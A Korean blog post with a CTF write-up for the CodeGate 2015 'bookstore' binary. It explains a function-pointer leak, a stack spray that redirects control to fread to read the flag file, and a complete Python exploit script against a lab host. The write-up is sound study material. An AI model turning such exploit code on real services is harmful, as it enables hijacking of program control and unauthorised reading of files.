본문 바로가기

ctf

[CodeGate 2015 CTF] bookstore

# bookstore: ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=5b70a1f426ece14edd78f5a3fc006910d5eeb556, stripped

파일 명령을 통해 보면 해당 바이너리는 32bit 환경에서 돌아가는 바이너리이다.

 

보호 기법으로는 NX, Canary, PIE 가 걸린 것을 확인할 수 있다.

 

해당 바이너리는 도서 관리 프로그램으로, 구조체를 사용하여 도서 정보를 관리하고 있다.

처음 바이너리를 실행하게 되면 계정과 비밀번호를 묻는다. 이 때 계정과 비밀번호는 "helloadmin", "iulover!@#$"

 

도서 정보를 조회하는 부분을 보자. 이 부분에서 특정 정보를 조회할 때 함수와, 포인터를 이용하여 정보를 출력하는 것을 볼 수 있다. printf_free_shipping 함수의 경우 book_shipping 값이 1 일 때 동작한다.

만약 우리가 위 함수를 조작할 수 있다면 EIP 컨트롤이 가능하다는 것을 알 수 있다.

 

이 부분은 "4. show item list" 부분으로 이 부분을 통해 우리는 &printf_description 주소 값을 알아낼 수 있다.

바이너리를 분석했을 때 구조체의 정보는,

book_number | book_type | book_name[20byte] | book_price[4byte] | book_stock[4byte] | &printf_description ...

으로 구성되어 있다.

 

여기서 우리가 book_name, book_price, book_stock 를 null byte 없이 채워준다면 &printf_description 부분을 알 수 있다.

결과적으로, 이 주소 값을 이용한 offset 계산을 통해 바이너리 내에 fread 주소를 알아낼 수 있다.

만약, printf_free_shipping(&book_name) 부분에서 printf_free_shipping 함수를 fread 주소로 변조하고, &book_name을 flag 파일로 설정한다면 어떻게 될까? 당연히 flag를 읽을 것이다..

 

book_name 의 경우에는 modify 부분을 통해 쉽게 flag 파일의 위치로 변조할 수 있다.

 

 

이 부분은 modify description 부분이다. 기존의 "Add new item" 에서는 descripion을 300byte 만큼받았지만 여기에서는 3000byte 만큼 받는다. 그리고 memset, strncpy 함수는 300byte 만큼만 수행한다.

바로 이 부분이 stack spray 가 일어나는 부분이다. 3000byte를 입력받지만 전체에 대해 memset 을 하지 않기 때문에 스택에 남아있게 된다. 그리고 이 후 memcpy 함수를 통해 구조체를 복사 했을 때, 이 남아있는 값이 함수 포인터 값을 덮어쓰게 된다.

 

과정이 생각보다 복잡하기에 exploit 시나리오를 그려보자....

1. "add new item" 부분에서 도서 생성 => book_type 을 "0" 으로 설정해야 printf_free_shipping 함수 설정을 함.

2. "modify information" 에서 null byte 없이 정보를 꽊 채운다. => 이유는 printf_description 주소를 leak 하기 위해서..

3. "show item list"  => leak 을 통해 알아낸 주소와 offset 계산을 통해 fread 함수의 주소를 알아낸다.

4. "modify information" 부분의 modify description 입력받는 부분에서 fread 함수의 주소를 스택에 뿌린다.

book_name 또한 flag 위치로 설정..

 

5. "modify shipping option" 을 "1" 로 설정한다. => 이유는 "1" 로 설정해야 함수가 실행됨..

6. "view item's information" 을 통해 조회하는 과정에서 printf_free_shipping 부분이 fread 함수 주소로 변조되어 있고, book_name 에 flag 의 위치를 넣었기 때문에 flag 값을 읽어온다.

 

 

 - - - - - - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - - -

from socket import *
from struct import *
import hexdump
import time


p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]

 

def Login():

    time.sleep(0.3)
    print s.recv(1024)

    s.send("helloadmin\n")
    s.send("iulover!@#$\n")

    time.sleep(0.3)
    print s.recv(1024)
   


def add_item():
    s.send("1\n")

    time.sleep(0.3)
    print s.recv(1024)

    s.send("sunbi\n")
   
    time.sleep(0.3)
    print s.recv(1024)

    s.send("sunbi\n")

    time.sleep(0.3)
    print s.recv(1024)

    s.send("0\n")

    time.sleep(0.3)
    print s.recv(1024)


def m_modify():
    time.sleep(0.3)
    s.send("2\n")
   
    time.sleep(0.3)
    print s.recv(1024)

    time.sleep(0.3)
    s.send("0\n")

    time.sleep(0.3)
    print s.recv(1024)


def mod_information(book_stock, book_price, book_shipping, book_avaliable, book_name, book_description):
      s.send("3\n")

      time.sleep(0.3)
      print s.recv(1024)

      s.send(book_stock + "\n")

      time.sleep(0.3)
      print s.recv(1024)

      s.send(book_price + "\n")

      time.sleep(0.3)
      print s.recv(1024)

      s.send(book_shipping + "\n")

      time.sleep(0.3)
      print s.recv(1024)

      s.send(book_avaliable + "\n")

      time.sleep(0.3)
      print s.recv(1024)

      s.send(book_name + "\n")

      time.sleep(0.3)
      print s.recv(1024)

      s.send(book_description + "\n")

      time.sleep(0.3)
      print s.recv(1024)
   


def quit_modify():
    s.send("0\n")

    time.sleep(0.3)
    print s.recv(1024)

 

def show_item():
    s.send("4\n")

    time.sleep(0.3)
    data = s.recv(1024)
    hexdump.hexdump(data)

    func1 = up(data[143:147])
   
    base_addr = func1 - 0x9ad
    print "[*] base_addr = " + hex(base_addr)

    readfile_function = base_addr + 0x8db
    print "[*] readfile_function = " + hex(readfile_function)

    return readfile_function

 

def mod_description(readfile_function):
    s.send("2\n")

    time.sleep(0.3)
    print s.recv(1024)

    stackspray = p(readfile_function) * 744
    s.send(stackspray)

    raw_input(">")
    time.sleep(0.3)
    print s.recv(1024)

   


def mod_shipping_option():
    s.send("4\n")

    time.sleep(0.3)
    print s.recv(1024)
   
    s.send("1\n")

    time.sleep(0.3)
    print s.recv(1024)

 

def view_item():
    s.send("3\n")

    time.sleep(0.3)
    print s.recv(1024)

    s.send("0\n")
   
    time.sleep(0.3)
    print s.recv(1024)
    print s.recv(1024)
    print s.recv(1024)

 

# # # # # # # # # # # # # # # # # # # # # # # # # #

s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.162', 9988))

 

Login()

add_item()

m_modify()

mod_information("2147483647", "2147483647", "0", "0", "A"*20, "B"*300)

quit_modify()

readfile_function = show_item()

m_modify()

mod_description(readfile_function)

mod_information("1234", "1234", "0", "0", "/ctf/flag\x00", "sunbi")

mod_shipping_option()

quit_modify()

view_item()

# # # # # # # # # # # # # # # # # # # # # # # # # #

 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 

 

'ctf' 카테고리의 다른 글

[CodeGate 2016 CTF] Watermelon  (0) 2016.12.14
[SECCON 2016 CTF] cheer_msg  (0) 2016.12.12
[CodeGate 2015 CTF] systemshock  (0) 2016.07.30
[CodeGate 2015 CTF] yocto  (0) 2016.07.06
[CodeGate 2014 CTF] 4stone  (0) 2016.06.24